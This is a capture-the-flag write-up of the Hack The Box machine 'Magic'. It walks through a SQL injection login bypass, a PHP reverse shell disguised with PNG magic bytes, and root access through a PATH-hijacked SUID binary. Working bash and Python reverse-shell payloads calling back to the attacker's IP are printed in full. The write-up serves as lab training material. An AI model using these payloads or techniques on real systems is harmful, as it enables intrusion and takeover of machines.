Previous Page

nihilist - 24 / 06 / 2021

Magic Writeup

Introduction :



Magic is a Medium Linux box released back in April 2020.

Part 1 : Initial Enumeration



As always we begin our Enumeration using Nmap to enumerate opened ports.
We will be using the flags -sC for default scripts and -sV to enumerate versions.


[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ nmap -vvv -p- 10.10.10.185 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered
Discovered open port 22/tcp on 10.10.10.185
Discovered open port 80/tcp on 10.10.10.185


[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ nmap -sCV -p22,80 10.10.10.185
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-24 15:26 CEST
Nmap scan report for 10.10.10.185
Host is up (0.45s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
|   256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_  256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.24 seconds

Part 2 : Getting User Access



Our nmap scan picked up port 80 so let's investigate it:


[ 10.10.14.11/23 ] [ /dev/pts/16 ] [~]
→ gobuster dir -u http://10.10.10.185 -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.185
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/06/24 15:44:14 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/.sh_history          (Status: 403) [Size: 277]
/assets               (Status: 301) [Size: 313] [--> http://10.10.10.185/assets/]
/images               (Status: 301) [Size: 313] [--> http://10.10.10.185/images/]
/index.php            (Status: 200) [Size: 4050]
/server-status        (Status: 403) [Size: 277]

[ 10.10.14.11/23 ] [ /dev/pts/16 ] [~]
→ gobuster dir -u http://10.10.10.185/images/ -r -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.185/images/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
2021/06/24 15:46:26 Starting gobuster in directory enumeration mode
===============================================================
/.sh_history          (Status: 403) [Size: 277]
/.hta                 (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/uploads              (Status: 403) [Size: 277]

===============================================================
2021/06/24 15:47:11 Finished
===============================================================

So here we see that there is a directory /images/uploads/ so it's safe to assume that we will need to upload a malicious file:

Now on the first page we see there is a login php page hyperlink at the bottom left, so we're going to intercept the request with burpsuite and see what's up:

So we have the following POST request:


POST /login.php HTTP/1.1
Host: 10.10.10.185
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://10.10.10.185
Connection: close
Referer: http://10.10.10.185/login.php
Cookie: PHPSESSID=d08upquemehq9gte4accrged80
Upgrade-Insecure-Requests: 1

username=admin&password=admin

When we send it as it is, we get the following response:

Let's try to do a SQL injection:


#raw
username=' or 1=1#&password=admin

#url encoded (select in burp and do CTRL+U)
username='+or+1%3d1%23&password=admin

Use it in the Proxy tab in burpsuite, then click Forward. And you will be greeted by the following:

Now let's make a malicious png file to upload there. Since we know that this box has php on it we're going to make a simple php reverse shell:


[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ vim rev.php

[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ cat rev.php
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.11/9001 0>&1'");
?>

[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ sudo apt install exiftool -y

[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ wget https://blog.nowhere.moe/assets/img/user.png -O rev.png
--2021-06-24 16:15:12--  https://blog.nowhere.moe/assets/img/user.png
Resolving blog.nowhere.moe (blog.nowhere.moe)... 185.199.108.153, 185.199.109.153, 185.199.111.153, ...
Connecting to blog.nowhere.moe (blog.nowhere.moe)|185.199.108.153|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 14891 (15K) [image/png]
Saving to: ‘rev.png’

rev.png                                                       100%[=================================================================================================================================================>]  14.54K  --.-KB/s    in 0.02s

2021-06-24 16:15:14 (816 KB/s) - ‘rev.png’ saved [14891/14891]


Now basically we want the magic bytes of that png file (first few bytes of a png image) and then we want to concatenate the magic bytes to our php reverse shell file like so:


[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ head -c20 rev.png | xxd
00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR
00000010: 0000 01f4                                ....

[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ head -c10 rev.png | xxd
00000000: 8950 4e47 0d0a 1a0a 0000                 .PNG......

Here we grab the first few bytes until the first nullbyte, and save it to another file:


[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ head -c72 rev.png | xxd
00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR
00000010: 0000 01f4 0000 01f4 0806 0000 00cb d6df  ................
00000020: 8a00 0000 0173 5247 4200 aece 1ce9 0000  .....sRGB.......
00000030: 0004 6741 4d41 0000 b18f 0bfc 6105 0000  ..gAMA......a...
00000040: 0009 7048 5973 0000                      ..pHYs..

[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ head -c72 rev.png > png-magic-bytes.png

[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ file png-magic-bytes.png
png-magic-bytes.png: PNG image data, 500 x 500, 8-bit/color RGBA, non-interlaced

So we concatenate them together:


[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ cat png-magic-bytes.png rev.php
PNG

IHDߊsRGBgAMA
            a   pHYs<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.11/9001 0>&1'");
?>

[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ cat png-magic-bytes.png rev.php > magic.php.png

[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ file magic
magic: cannot open `magic' (No such file or directory)

[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ file magic.php.png
magic.php.png: PNG image data, 500 x 500, 8-bit/color RGBA, non-interlaced

And now we have our reverse php shell with the magic bytes of a png file. So let's upload the image:

Now that the image has been uploaded, we attempt to trigger the reverse shell by browsing to it at the /images/uploads/magic.php.png path we found earlier:

And we get a reverse shell!


[ 10.10.14.11/23 ] [ /dev/pts/24 ] [~/HTB/magic]
→ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.185] 51376
bash: cannot set terminal process group (1135): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/Magic/images/uploads$

Now let's upgrade our reverse shell to a fully interactive TTY:


www-data@ubuntu:/var/www/Magic/images/uploads$ which python python3 curl wget
which python python3 curl wget
/usr/bin/python3
/usr/bin/wget
www-data@ubuntu:/var/www/Magic/images/uploads$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@ubuntu:/var/www/Magic/images/uploads$ ^Z
[1]  + 1387803 suspended  nc -lvnp 9001

[ 10.10.14.11/23 ] [ /dev/pts/24 ] [~/HTB/magic]
→ stty raw -echo ; fg
[1]  + 1387803 continued  nc -lvnp 9001
                                       export TERM=screen-256color
www-data@ubuntu:/var/www/Magic/images/uploads$ export SHELL=bash
www-data@ubuntu:/var/www/Magic/images/uploads$ stty rows 40 columns 225
www-data@ubuntu:/var/www/Magic/images/uploads$ reset

And now that we have a fully interactive TTY let's take a look around the web directory:


www-data@ubuntu:/var/www/Magic/images/uploads$ cd ~
www-data@ubuntu:/var/www$ ls -lash
total 16K
4.0K drwxr-xr-x  4 root     root     4.0K Mar 13  2020 .
4.0K drwxr-xr-x 15 root     root     4.0K Oct 15  2019 ..
4.0K drwxr-xr-x  4 www-data www-data 4.0K Mar 17  2020 Magic
4.0K drwxr-xr-x  2 root     root     4.0K Dec  3  2019 html
www-data@ubuntu:/var/www$ cat Magic/db.php5
<?php
class Database
{
    private static $dbName = 'Magic' ;
    private static $dbHost = 'localhost' ;
    private static $dbUsername = 'theseus';
    private static $dbUserPassword = 'iamkingtheseus';

    private static $cont  = null;

    public function __construct() {
        die('Init function is not allowed');
    }

    public static function connect()
    {
        // One connection through whole application
        if ( null == self::$cont )
        {
            try
            {
                self::$cont =  new PDO( "mysql:host=".self::$dbHost.";"."dbname=".self::$dbName, self::$dbUsername, self::$dbUserPassword);
            }
            catch(PDOException $e)
            {
                die($e->getMessage());
            }
        }
        return self::$cont;
    }

    public static function disconnect()
    {
        self::$cont = null;
    }
}

Now here we have potential credentials for a local database with the user theseus so let's try to dump the database contents with it:


www-data@ubuntu:/var/www$ mysqldump -u theseus Magic -p > /tmp/database.dump
Enter password: iamkingtheseus

www-data@ubuntu:/var/www$ cat /tmp/database.dump | grep admin
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');

And now we have credentials for the user 'theseus' so let's try to use his credentials ::


www-data@ubuntu:/var/www$ su theseus
Password:
theseus@ubuntu:/var/www$ cd ~
theseus@ubuntu:~$ cat user.txt
58XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And that's it! We managed to get the user flag.

Part 3 : Getting Root Access



Now in order to privesc to the root user we're going to need to enumerate the box using linpeas.sh:


[terminal 1]
[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ cp /home/nothing/HTB/obscurity/linpeas.sh .

[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...

[terminal 2]
theseus@ubuntu:~$ wget http://10.10.14.11:9090/linpeas.sh -O /tmp/peas.sh
--2021-06-25 00:53:01--  http://10.10.14.11:9090/linpeas.sh
Connecting to 10.10.14.11:9090... connected.
HTTP request sent, awaiting response... 200 OK
Length: 341863 (334K) [text/x-sh]
Saving to: ‘/tmp/peas.sh’

/tmp/peas.sh                    100%[====================================================>] 333.85K   171KB/s    in 1.9s

2021-06-25 00:53:04 (171 KB/s) - ‘/tmp/peas.sh’ saved [341863/341863]

theseus@ubuntu:~$ chmod +x /tmp/peas.sh
theseus@ubuntu:~$ /tmp/peas.sh

Let linpeas.sh run a bit, then scrolling through the output we see the following SUID binary:

Apparently there is an unknown SUID binary in /bin/sysinfo so let's run it to see what it does:


theseus@ubuntu:~$ /bin/sysinfo --help
====================Hardware Info====================
H/W path           Device      Class      Description
=====================================================
                               system     VMware Virtual Platform
/0                             bus        440BX Desktop Reference Platform
/0/0                           memory     86KiB BIOS
/0/1                           processor  AMD EPYC 7401P 24-Core Processor
/0/1/0                         memory     16KiB L1 cache
/0/1/1                         memory     16KiB L1 cache
/0/1/2                         memory     512KiB L2 cache
/0/1/3                         memory     512KiB L2 cache
/0/2                           processor  AMD EPYC 7401P 24-Core Processor
/0/28                          memory     System Memory
/0/28/0                        memory     4GiB DIMM DRAM EDO
/0/28/1                        memory     DIMM DRAM [empty]
/0/28/2                        memory     DIMM DRAM [empty]
/0/28/3                        memory     DIMM DRAM [empty]
/0/28/4                        memory     DIMM DRAM [empty]
/0/28/5                        memory     DIMM DRAM [empty]
/0/28/6                        memory     DIMM DRAM [empty]
/0/28/7                        memory     DIMM DRAM [empty]
/0/28/8                        memory     DIMM DRAM [empty]

[...]

bugs            : fxsave_leak sysret_ss_attrs null_seg spectre_v1 spectre_v2 spec_store_bypass
bogomips        : 4000.00
TLB size        : 2560 4K pages
clflush size    : 64
cache_alignment : 64
address sizes   : 43 bits physical, 48 bits virtual
power management:


====================MEM Usage=====================
              total        used        free      shared  buff/cache   available
Mem:           3.8G        562M        1.8G        3.9M        1.5G        3.0G
Swap:          947M          0B        947M

theseus@ubuntu:~$

It basically gives a bunch of infos about the system. Now before our shell breaks, let's get our ssh public key onto the box in order to access that user more easily:


theseus@ubuntu:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAfhgjcMFy5mO4fwhQyW6vdX5bgTzqZTh9MhCW7+k6Sj nothing@nowhere' > ~/.ssh/authorized_keys

[ 10.66.66.2/32 ] [ /dev/pts/29 ] [~/HTB/magic]
→ ssh theseus@10.10.10.185 -i ~/.ssh/mainpc
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.3.0-42-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

29 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Your Hardware Enablement Stack (HWE) is supported until April 2023.
theseus@ubuntu:~$

Let's monitor the processes ran by root using pspy:


[terminal 1]
[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ cp /home/nothing/HTB/book/pspy64s .

[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...

[terminal 2]
theseus@ubuntu:~$ wget http://10.10.14.11:9090/pspy64s -O /tmp/pspy
--2021-06-25 01:02:54--  http://10.10.14.11:9090/pspy64s
Connecting to 10.10.14.11:9090... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1156536 (1.1M) [application/octet-stream]
Saving to: ‘/tmp/pspy’

/tmp/pspy                                                     100%[=================================================================================================================================================>]   1.10M   382KB/s    in 3.0s

2021-06-25 01:02:58 (382 KB/s) - ‘/tmp/pspy’ saved [1156536/1156536]

theseus@ubuntu:~$ chmod +x /tmp/pspy
theseus@ubuntu:~$ /tmp/pspy

Now on another shell we run sysinfo on the box and observe what it does from pspy:

Now here we see that sysinfo basically executes lshw so we should be able to create our own lshw with a reverse python3 shell into it, and we would change the PATH variable to make sure our binary file takes priority over the other lshw:


theseus@ubuntu:~$ cd /tmp
theseus@ubuntu:/tmp$ mkdir nihilist
theseus@ubuntu:/tmp$ cd nihilist/
theseus@ubuntu:/tmp/nihilist$ nano lshw
theseus@ubuntu:/tmp/nihilist$ cat lshw
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

theseus@ubuntu:/tmp/nihilist$ chmod +x lshw
theseus@ubuntu:/tmp/nihilist$ PATH=$PATH:$(pwd)
theseus@ubuntu:/tmp/nihilist$ echo $PATH
.:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/tmp/nihilist

Now let's run sysinfo again


[terminal 1]
theseus@ubuntu:/tmp/nihilist$ sysinfo
====================Hardware Info====================

[terminal 2]
[ 10.66.66.2/32 ] [ /dev/pts/35 ] [~/HTB/magic]
→ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.185] 51382
# id
uid=0(root) gid=0(root) groups=0(root),100(users),1000(theseus)
ca cat /root/root.txt
acXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And that's it! We managed to get a reverse shell as the root user.

Conclusion



Here we can see the progress graph :

Nihilism

Until there is Nothing left.

About nihilist

Donate XMR: 8AUYjhQeG3D5aodJDtqG499N5jXXM71gYKD8LgSsFB9BUV1o7muLv3DXHoydRTK4SZaaUBq4EAUqpZHLrX2VZLH71Jrd9k8


Contact: nihilist@contact.nowhere.moe (PGP)